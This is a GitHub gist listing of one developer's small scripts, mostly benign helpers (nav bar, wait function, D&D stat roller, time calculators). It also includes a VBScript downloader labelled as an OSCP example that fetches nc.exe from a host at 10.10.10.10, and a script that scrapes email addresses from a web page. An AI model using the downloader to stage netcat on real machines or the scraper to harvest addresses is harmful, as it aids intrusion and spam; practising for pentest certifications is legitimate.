Skip to content

Instantly share code, notes, and snippets.

View mike-pete's full-sized avatar

Mike Peterson mike-pete

  • San Francisco, CA
View GitHub Profile
@mike-pete
mike-pete / index.html
Last active January 23, 2021 21:17
Geekwise Nav Bar
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Document</title>
<link rel="stylesheet" href="style.css">
</head>
@mike-pete
mike-pete / wait.js
Last active August 11, 2020 19:05
wait.js
/**
* Wrapper for setTimeout
* @param {number} timeDelay Time to wait (ms)
* @returns {promise} Empty promise that is resolved after the delay
*/
async function wait(timeDelay){
return new Promise(
resolve => setTimeout(
() => resolve(), timeDelay
)
##########
# GitHub #
##########
GitHub's APIs are AWESOME! They give you access to soooo much information, it's insane!
Nearly everything you want to know you can access via their APIs.
This includes things like: name, username, profile picture, repos, *email*, user events, *followers/following*, etc.
The main practical restrictions come from the API rate limiting.
Unauthenticated requests (what I used in my project) are limited to something like 50 requests per IP per hour.
# this program converts a floating point number from binary to decimal
# sign mantissa * 2**(exponent)
sign = 0
exponent = '10100'
mantissa = '0110101110'
# convert binary to decimal
def bin2dec(n):
# https://stackoverflow.com/questions/12297500/python-module-for-nslookup
import socket
import random
words = '''\
profile
info
swap
tag
'OSCP example download script shortened and condensed into two lines
'download.vbs http://10.10.10.10/nc.exe nc.exe
Dim http, varByteArray, strData, strBuffer, i, ts : Set http = Nothing : Set http = CreateObject("WinHttp.WinHttpRequest.5.1") : If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest") : If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP") : If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
http.Open "GET", WScript.Arguments.Item(0), False : http.Send : Set ts = CreateObject("Scripting.FileSystemObject").CreateTextFile(WScript.Arguments.Item(1), True) : strData = "" : strBuffer = "" : For i = 0 to UBound(http.ResponseBody) : ts.Write Chr(255 And Ascb(Midb(http.ResponseBody,i + 1, 1))) : Next : ts.Close
/* This script:
* - takes 2 time entries [(hh:mm) (AM or PM)] and [(hh:mm) (AM or PM)]
* - calculates the time difference between them
* - saves the time difference in the Total Time field
*
* This script requires the following fields:
* - 2 text entry fields ("Start Time" and "End Time")
* - 2 dropdowns ("Start AM or PM" and "End AM or PM") these have the options "AM" and "PM" respectively
* - 1 read only text entry field (Total Time)
*/
# These functions are used to calculate how many work days have been in the previous N number of days
days = ['mon','tue','wed','thu','fri','sat','sun']
# this function counts the workdays within the last n days
def countWorkDays(daysAgo, dayOfWeek):
# print(daysAgo, days[dayOfWeek])
workDay = 1 if dayOfWeek < 5 else 0
dayOfWeek = dayOfWeek - 1 if dayOfWeek > 0 else 6
@mike-pete
mike-pete / newCharacterStatRoller.py
Last active December 1, 2019 07:22
This Python script lets you quickly roll stats for a new D&D character.
from random import randint
# roll 4 d6 and drop the losest val
def rollStat():
rolls = []
for i in range(4):
rolls.append(randint(1, 6))
rolls.sort(reverse=True)
topThree = rolls[0:3]
print(' + '.join(str(x) for x in topThree) + ' = ' + str(sum(topThree)))
@mike-pete
mike-pete / emailDumper.py
Created August 28, 2019 21:54
Python script to dump emails from a web page
import requests, re
url = 'http://lemonshell.com'
emails = []
site = requests.get(url).content.decode('utf-8')
reg = re.compile('[\w\d\.]+@[\w\d\.]+\.[\w]{2,}')
for email in reg.findall(site):
if email not in emails: